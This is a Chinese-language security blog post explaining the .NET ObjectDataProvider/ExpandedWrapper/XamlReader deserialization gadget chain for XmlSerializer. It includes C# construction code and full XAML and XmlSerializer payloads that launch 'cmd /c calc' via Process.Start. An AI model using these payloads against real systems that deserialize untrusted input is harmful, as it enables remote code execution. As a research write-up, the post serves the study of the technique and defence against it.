ObjectDataProvider 利用链

前置介绍

ObjectDataProvider

命名空间:

System.Windows.Data

程序集:

PresentationFramework.dll

包装和创建可以用作绑定源的对象。

ObjectDataProvider,顾名思义就是把对象作为数据源提供给Binding

数据源

WPF (全称:Windows Presentation Foundation) 是用于替代Windows Form来创建Windows客户端应用程序,WPF开发过程中主要有以下几种数据绑定方法,这些对象可以视为数据源绑定到控件

ResourceDictionary

ResourceDictionary即资源字典,用于wpf开发,资源中也可引入XAML名称空间

ExpandedWrapper

定义

命名空间:

System.Data.Services.Internal

程序集:

System.Data.Services.dll

系统在内部使用此类,以便可支持预先加载了相关实体的查询。

此 API 支持产品基础结构,不能在代码中直接使用。

public sealed class ExpandedWrapper<TExpandedElement,TProperty0,TProperty1,TProperty2> : System.Data.Services.Internal.ExpandedWrapper<TExpandedElement>

类型参数

TExpandedElement

扩展元素的类型。

TProperty0

要扩展的属性的类型。

TProperty1

要扩展的属性的类型。

TProperty2

要扩展的属性的类型。

利用链调试

         MemoryStream memoryStream = new MemoryStream();

            TextWriter writer = new StreamWriter(memoryStream);
            ProcessStartInfo processinfo = new ProcessStartInfo();
            processinfo.FileName = "cmd.exe";
            processinfo.Arguments = " /c calc.exe";

            var process = new Process();
            process.StartInfo = processinfo;

            ObjectDataProvider odp = new ObjectDataProvider();
            odp.MethodName = "Start";
            odp.ObjectInstance = process;

            XmlSerializer xml = new XmlSerializer(typeof(Object));
            xml.Serialize(writer, odp);

在设置ObjectInstance,MethodParameters,MethodName时,ObjectDataProvider都会尝试执行目标函数,但是在序列化会发现报错

InvalidOperationException: 不应是类型 System.Windows.Data.ObjectDataProvider。使用 XmlInclude 或 SoapInclude 特性静态指定非已知的类型。

需要序列化odp对象是一个未知的类。ObjectDataProvider是不能被直接序列化的,可以使用ExpandedWrapper类来做包装。它的作用就是扩展类的属性。

修改代码

 static void Main(string[] args)
        {
        
            MemoryStream memoryStream = new MemoryStream();

            TextWriter writer = new StreamWriter(memoryStream);
   

            var process = new Process();
       

            ObjectDataProvider odp = new ObjectDataProvider();
       
            var Expandedwrapper = new ExpandedWrapper<Process, ObjectDataProvider>();
            Expandedwrapper.ProjectedProperty0 = odp;
            Expandedwrapper.ProjectedProperty0.ObjectInstance = process;
            Expandedwrapper.ProjectedProperty0.MethodParameters.Add("calc");

            Expandedwrapper.ProjectedProperty0.MethodName = "Start";

            XmlSerializer xml = new XmlSerializer(typeof(Object));
            xml.Serialize(writer, Expandedwrapper);

            

        }

img

这样没了能执行起来,但是序列化数据失败了,原因是因为使用ExpandedWrapper去包装Process,是无法序列化的。

改造代码

    public class EvilClass
    {


        public void Evil(string cmd)
        {
            Process process = new Process();
            process.StartInfo.FileName = "cmd.exe";
            process.StartInfo.Arguments = "/c " + cmd;
            process.Start();
        }
    }


static void Main(string[] args)
        {
        
            MemoryStream memoryStream = new MemoryStream();

            TextWriter writer = new StreamWriter(memoryStream);
   

            
       

            ObjectDataProvider odp = new ObjectDataProvider();
       
            var Expandedwrapper = new ExpandedWrapper<EvilClass, ObjectDataProvider>();
            Expandedwrapper.ProjectedProperty0 = odp;
            Expandedwrapper.ProjectedProperty0.ObjectInstance = new EvilClass();
            Expandedwrapper.ProjectedProperty0.MethodParameters.Add("calc");

            Expandedwrapper.ProjectedProperty0.MethodName = "Evil";

            XmlSerializer xml = new XmlSerializer(typeof(ExpandedWrapper<EvilClass, ObjectDataProvider>));
            xml.Serialize(writer, Expandedwrapper);


            memoryStream.Position = 0;

            // 输出xml
            Console.WriteLine(Encoding.UTF8.GetString(memoryStream.ToArray()));


        }
    }

img

自定义了一个类和方法 方法 自定义的方法里面去调用Process去执行命令。这样序列化数据就不会报错了。但是在实际利用中肯定是不能这样用的。因为目标上没有我们构造的这个类。所以需要寻找一个合适的类来做串联。

XamlReader

ExpandedWrapper可以被XmlSerializer序列化,同时XAML还可以通过XamlReader.Parse实现反序列化返回ExpandedWrapper对象。构造的恶意ExpandedWrapper会调用Process进行命令执行.

ResourceDictionary

ResourceDictionary又称资源字典,使用xaml语法

以下是执行命令的ResourceDictionary执行命令的一个payload

<ResourceDictionary 
                    xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" 
                    xmlns:d="http://schemas.microsoft.com/winfx/2006/xaml" 
                    xmlns:b="clr-namespace:System;assembly=mscorlib" 
                    xmlns:c="clr-namespace:System.Diagnostics;assembly=system">
    <ObjectDataProvider d:Key="" ObjectType="{d:Type c:Process}" MethodName="Start">
        <ObjectDataProvider.MethodParameters>
            <b:String>cmd</b:String>
            <b:String>/c calc</b:String>
        </ObjectDataProvider.MethodParameters>
    </ObjectDataProvider>
</ResourceDictionary>
  1. xmlns:c 引用了System.Diagnostics命名空间起别名为c
  2. d:Key="" 起别名为空,在xaml语法中,Key这个键值必须有。
  3. ObjectType表示对象类型
  4. d:Type 等同于typeof()
  5. MethodName是ObjectDataProvider的属性,传递一个Start等于调用Start方法。
  6. c:Process 等同于System.Diagnostics.Process
 static void Main(string[] args)
        {

   
            string xaml = "<ResourceDictionary \r\n                    xmlns=\"http://schemas.microsoft.com/winfx/2006/xaml/presentation\" \r\n                    xmlns:d=\"http://schemas.microsoft.com/winfx/2006/xaml\" \r\n                    xmlns:b=\"clr-namespace:System;assembly=mscorlib\" \r\n                    xmlns:c=\"clr-namespace:System.Diagnostics;assembly=system\">\r\n    <ObjectDataProvider d:Key=\"\" ObjectType=\"{d:Type c:Process}\" MethodName=\"Start\">\r\n        <ObjectDataProvider.MethodParameters>\r\n            <b:String>cmd</b:String>\r\n            <b:String>/c calc</b:String>\r\n        </ObjectDataProvider.MethodParameters>\r\n    </ObjectDataProvider>\r\n</ResourceDictionary>";
            XamlReader.Parse(xaml);


        }

img

怎么串联起来的具体可以看yso生成的POC

<root type="System.Data.Services.Internal.ExpandedWrapper`2[[System.Windows.Markup.XamlReader, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089">
    <ExpandedWrapperOfXamlReaderObjectDataProvider xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" >
        <ExpandedElement/>
        <ProjectedProperty0>
            <MethodName>Parse</MethodName>
            <MethodParameters>
                <anyType xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xsi:type="xsd:string">
                    <![CDATA[<ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:d="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:b="clr-namespace:System;assembly=mscorlib" xmlns:c="clr-namespace:System.Diagnostics;assembly=system"><ObjectDataProvider d:Key="" ObjectType="{d:Type c:Process}" MethodName="Start"><ObjectDataProvider.MethodParameters><b:String>cmd</b:String><b:String>/c calc</b:String></ObjectDataProvider.MethodParameters></ObjectDataProvider></ResourceDictionary>]]>
                </anyType>
            </MethodParameters>
            <ObjectInstance xsi:type="XamlReader"></ObjectInstance>
        </ProjectedProperty0>
    </ExpandedWrapperOfXamlReaderObjectDataProvider>
</root>

先是ExpandedWrapper<XamlReader, ObjectDataProvider>执行了XamlReader.Parse()去解析xaml,xaml构造的是ExpandedWrapper<Process, ObjectDataProvider> ,在ExpandedWrapper<Process, ObjectDataProvider> 执行的时候会去调用Process.Start()来执行 calc

参考

https://www.cnblogs.com/Ivan1ee/p/16226064.html

https://github.com/Y4er/dotnet-deserialization/blob/main/XmlSerializer.md

https://www.freebuf.com/articles/network/323531.html

posted @ 2022-12-01 21:26  nice_0e3  阅读(418)  评论(0编辑  收藏  举报